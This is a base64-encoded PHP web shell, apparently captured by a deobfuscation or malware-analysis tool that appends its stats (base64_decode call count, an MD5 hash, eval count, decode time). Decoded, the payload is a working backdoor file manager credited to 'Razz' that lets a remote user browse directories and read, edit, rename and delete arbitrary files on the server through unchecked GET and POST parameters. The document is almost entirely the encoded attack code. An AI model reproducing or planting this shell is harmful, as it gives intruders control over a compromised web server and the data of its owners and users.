0KCRfUE9TVFsnY29udGVudCddKSkgCiAgICB7IAogICAgICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycyhnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NvbnRlbnQnXSkpKTsgICAgICAgIAogICAgfSAKICAgID8+IAogICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4gCiAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHJvd3M9IjIwIiBjb2xzPSIxMDAiIGNsYXNzPSJjbWQiPjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPjxiciAvPiAKICAgICAgICA8aW5wdXQgbmFtZT0ic2F2ZSIgdHlwZT0iU3VibWl0IiB2YWx1ZT0iRGVjb2RlIiBjbGFzcz0ib3duIiBpZD0ic3BhY2luZyIvPiAKICAgIDwvZm9ybT4gCiAgICA8P3BocCAKfSAKCi8vb3BlbiBmaWxlIAoKZWxzZSBpZihpc3NldCgkX0dFVFsnb3BlbiddKSkgCnsgCiAgICA/PiAKICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiIgPiAKICAgICAgICA8dGFibGU+IAogICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgPHRkPkZpbGUgPC90ZD48dGQ+IDogPC90ZD48dGQ+PGlucHV0IHZhbHVlPSI8P3BocCBlY2hvICRfR0VUWydvcGVuJ107Pz4iIGNsYXNzPSJjbWQiIG5hbWU9ImZpbGUiIC8+PC90ZD4gCiAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgPHRkPlNpemUgPC90ZD48dGQ+IDogPC90ZD48dGQ+PGlucHV0IHZhbHVlPSI8P3BocCBlY2hvIGZpbGVzaXplKCRfR0VUWydvcGVuJ10pOz8+IiBjbGFzcz0iY21kIiAvPjwvdGQ+ICAKICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC90YWJsZT4gCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHJvd3M9IjIwIiBjb2xzPSIxMDAiIGNsYXNzPSJjbWQiPjw/cGhwIAogICAgICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnb3BlbiddKSk7IAogICAgICAgIGlmKCRjb250ZW50KSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICRjb250ZW50OyAKICAgICAgICB9IAogICAgICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZm9wZW4oJF9HRVRbJ29wZW4nXSk7IAogICAgICAgICAgICB3aGlsZSghZmVvZigpKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkX0dFVFsnb3BlbiddKSk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCgogICAgICAgID8+IAogICAgICAgIDwvdGV4dGFyZWE+PGJyIC8+IAogICAgICAgIDxpbnB1dCBuYW1lPSJzYXZlIiB0eXBlPSJTdWJtaXQiIHZhbHVlPSJTYXZlIENoYW5nZXMiIGNsYXNzPSJvd24iIGlkPSJzcGFjaW5nIi8+IAogICAgICAgIDwvZm9ybT4gCiAgICA8P3BocCAKfSAKCi8vUmVuYW1lIAoKZWxzZSBpZihpc3NldCgkX0dFVFsncmVuYW1lJ10pKSAKeyAKICAgIGlmKGlzc2V0KCRfR0VUWyd0byddKSAmJiBpc3NldCgkX0dFVFsncmVuYW1lJ10pKSAKICAgIHsgCiAgICAgICAgaWYocmVuYW1lKCRfR0VUWydyZW5hbWUnXSwkX0dFVFsndG8nXSkgPT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8YmlnPjxwIGNsYXNzPSJibGluayI+Q2FudCByZW5hbWUgdGhlIGZpbGUgc3BlY2lmaWVkISBQbGVhc2UgY2hlY2sgdGhlIGZpbGUtbmFtZSAsIFBlcm1pc3Npb25zIGFuZCB0cnkgYWdhaW4hPC9wPjwvYmlnPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgICAgICBlbHNlIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8YmlnPjxwIGNsYXNzPSJibGluayI+RmlsZSBSZW5hbWVkICwgUmV0dXJuIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iPkhlcmU8L2E+PC9wPjwvYmlnPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKPz4gCiAgICA8Zm9ybSBtZXRob2Q9IkdFVCIgYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmOz8+IiA+IAogICAgICAgIDx0YWJsZT4gCiAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQ+RmlsZSA8L3RkPjx0ZD4gOiA8L3RkPjx0ZD48aW5wdXQgdmFsdWU9Ijw/cGhwIGVjaG8gJF9HRVRbJ3JlbmFtZSddOz8+IiBjbGFzcz0iY21kIiBuYW1lPSJyZW5hbWUiIC8+PC90ZD4gCiAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgPHRkPlRvIDwvdGQ+PHRkPiA6IDwvdGQ+PHRkPjxpbnB1dCB2YWx1ZT0iPD9waHAgZWNobyAkX0dFVFsncmVuYW1lJ107Pz4iIGNsYXNzPSJjbWQiIG5hbWU9InRvIiAvPjwvdGQ+ICAKICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC90YWJsZT4gCiAgICAgICAgPGlucHV0IHR5cGU9IlN1Ym1pdCIgdmFsdWU9IlJlbmFtZSA6RCIgY2xhc3M9Im93biIgc3R5bGU9Im1hcmdpbi1sZWZ0OiAxNjBweDtwYWRkaW5nOiA1cHg7Ii8+IAogICAgICAgIDwvZm9ybT4gICAgCiAgICA8P3BocCAKICAgIH0gCn0gCgoKLy8gTm8gcmVxdWVzdCBtYWRlIAovLyBEaXNwbGF5IGhvbWUgcGFnZSAKCmVsc2UgCnsgCiAgICAkZGlyID0gZ2V0Y3dkKCk7IAogICAgaWYoaXNzZXQoJF9HRVRbJ2RpciddKSkgCiAgICB7IAogICAgICAgICRkaXIgPSAkX0dFVFsnZGlyJ107IAogICAgfSAKICAgID8+IAogICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICA8dHI+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIiAgYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmOz8+Ij4gCiAgICAgICAgPHRkIHdpZHRoPSIxMDAiPlBXRDwvdGQ+PHRkIHdpZHRoPSI0MTAiPjxpbnB1dCBuYW1lPSJkaXIiIGNsYXNzPSJjbWQiIGlkPSJtYWluSW5wdXQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXI7Pz4iLz48L3RkPiAKICAgICAgICA8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkcwISEiIGNsYXNzPSJvd24iIC8+PC90ZD4gCiAgICAgICAgPC9mb3JtPiAKICAgIDwvdHI+IAogICAgPC90YWJsZT4gCiAgICAgCiAgICA8dGFibGUgaWQ9Im1hcmdpbnMiIGNsYXNzPSJmaWxlcyI+IAogICAgPHRyPiAKICAgICAgICA8dGggY2xhc3M9ImhlYWRlciIgd2lkdGg9IjUwMHB4Ij5OYW1lPC90aD4gCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+U2l6ZTwvdGg+IAogICAgICAgIDx0aCB3aWR0aD0iMTAwcHgiIGNsYXNzPSJoZWFkZXIiPlBlcm1pc3Npb25zPC90aD4gCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+RGVsZXRlPC90aD4gCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+UmVuYW1lPC90aD4gCiAgICA8L3RyPiAKICAgIDw/cGhwIAogICAgIAogICAgaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkgCiAgICB7IAogICAgICAgIGlmKHVubGluaygoJF9HRVRbJ2RlbGV0ZSddKSkgPT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIjxwIGlkPSdtYXJnaW5zJyBzdHlsZT0nY29sb3I6cmVkOyc+Q291bGQgTm90IERlbGV0ZSB0aGUgZmlsZSBTcGVjaWZpZWQhPC9wPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgaWYoaXNfZGlyKCRkaXIpKSAKICAgIHsgCiAgICAgICAgJGhhbmRsZSA9IG9wZW5kaXIoJGRpcik7IAogICAgICAgIGlmKCRoYW5kbGUgIT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgaWYoJGRpclsoc3RybGVuKCRkaXIpLTEpXSAhPSAkU0VQQVJBVE9SKXskZGlyID0gJGRpci4kU0VQQVJBVE9SO30gCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgeyAKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgCiAgICAgICAgeyAKICAgICAgICAgICAgICAgIC8vZWNobyAkZmlsZTsgCiAgICAgICAgICAgICAgICAvL2YgaXRzIGEgZGlyZWN0b3J5IAogICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRkaXIuJGZpbGUpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2Rpcic+PGEgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9kaXI9PD9waHAgZWNobyAkZGlyLiRmaWxlID8+Jz4vPD9waHAgZWNobyAkZmlsZSA/PjwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPkRJUjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0naW5mbyc+RElSPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSI+PHRkIGNsYXNzPSJpbmZvIj48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmOz8+P3JlbmFtZT08P3BocCBlY2hvICRkaXIuJGZpbGU7Pz4iPlJlbmFtZTwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIC8vSXRzIGEgZmlsZSAgCiAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICA/PiAKICAgICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9vcGVuPTw/cGhwIGVjaG8gJGRpci4kZmlsZSA/Pic+PD9waHAgZWNobyAkZmlsZSA/PjwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPjw/cGhwIGVjaG8gSHVtYW5SZWFkYWJsZUZpbGVzaXplKGZpbGVzaXplKCRkaXIuJGZpbGUpKTs/PjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0naW5mbyc+PD9waHAgZWNobyBnZXRGaWxlUGVybWlzc2lvbnMoJGRpci4kZmlsZSk7Pz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImluZm8iPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4/ZGVsZXRlPTw/cGhwIGVjaG8gJGRpci4kZmlsZTs/PiI+RGVsZXRlPC9hPjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5mbyI+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/Pj9yZW5hbWU9PD9waHAgZWNobyAkZGlyLiRmaWxlOz8+Ij5SZW5hbWU8L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPC90cj4gPC9mb250PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgfSAKICAgICAgICB9IAogICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOyAKICAgICAgICB9IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCcgaWQ9J21hcmdpbnMnPiIuJF9HRVRbJ2RpciddLiIgaXMgPGI+Tk9UPC9iPiBhIFZhbGlkIERpcmVjdG9yeSE8YnIgLz48L3A+IjsgCiAgICB9IAogICAgPz4gCiAgICA8L3RhYmxlPiAKICAgIDw/cGhwIAogICAKfSAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCj8+IAoKPD9waHAgCn0gCi8vIEVuZCBTaGVsbCAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAo/PiAKPGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+IAoKPGRpdiBjbGFzcz0iZW5kIj4gCjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjojMDBGRkZGO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPkNvZGVkIEJ5IFJhenogQCA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6IzAwRkZGRjt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij48YSBocmVmPSIiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6ICMwMEZGRkYiPlsgQ2xpY2sgSGVyZSBdPC9mb250Pjxicj4KPC9mb250Pgo8YnI+PGJyPgo8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6cmVkO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxzcGFuPjwvc3Bhbj5DYWxtZmVybWFqYUBnbWFpbC5Db008c2NyaXB0IGRhdGEtY2ZoYXNoPSdmOWUzMScgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KLyogPCFbQ0RBVEFbICovIWZ1bmN0aW9uKCl7dHJ5e3ZhciB0PSJjdXJyZW50U2NyaXB0ImluIGRvY3VtZW50P2RvY3VtZW50LmN1cnJlbnRTY3JpcHQ6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGU9dC5sZW5ndGg7ZS0tOylpZih0W2VdLmdldEF0dHJpYnV0ZSgiZGF0YS1jZmhhc2giKSlyZXR1cm4gdFtlXX0oKTtpZih0JiZ0LnByZXZpb3VzU2libGluZyl7dmFyIGUscixuLGksYz10LnByZXZpb3VzU2libGluZyxhPWMuZ2V0QXR0cmlidXRlKCJkYXRhLWNmZW1haWwiKTtpZihhKXtmb3IoZT0iIixyPXBhcnNlSW50KGEuc3Vic3RyKDAsMiksMTYpLG49MjthLmxlbmd0aC1uO24rPTIpaT1wYXJzZUludChhLnN1YnN0cihuLDIpLDE2KV5yLGUrPVN0cmluZy5mcm9tQ2hhckNvZGUoaSk7ZT1kb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShlKSxjLnBhcmVudE5vZGUucmVwbGFjZUNoaWxkKGUsYyl9dC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHQpO319Y2F0Y2godSl7fX0oKS8qIF1dPiAqLzwvc2NyaXB0PjwvZm9udD48YnI+PGJyPgo8YnI+Cjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxhIGhyZWY9Imh0dHBzOi8vaW4ubGlua2VkaW4uY29tL2NvbXBhbnkvcmF6enNlY3VyaXR5IiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5SYXp6IC0gRHogPC9mb250Pjxicj4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PGEgaHJlZj0iaHR0cHM6Ly93ZWIuZmFjZWJvb2suY29tL1NlcnZlci5DbGVhbjcxIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5PZmZpY2lhbCBQYWdlPC9mb250Pjxicj4KPC9zY3JpcHQ+CjwvcD4gCjwvZGl2PiAKPC9ib2R5PiAKPC9odG1sPg=="));
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 71baef07fe298711afb8df653cc93154 |
Eval Count | 1 |
Decode Time | 79 ms |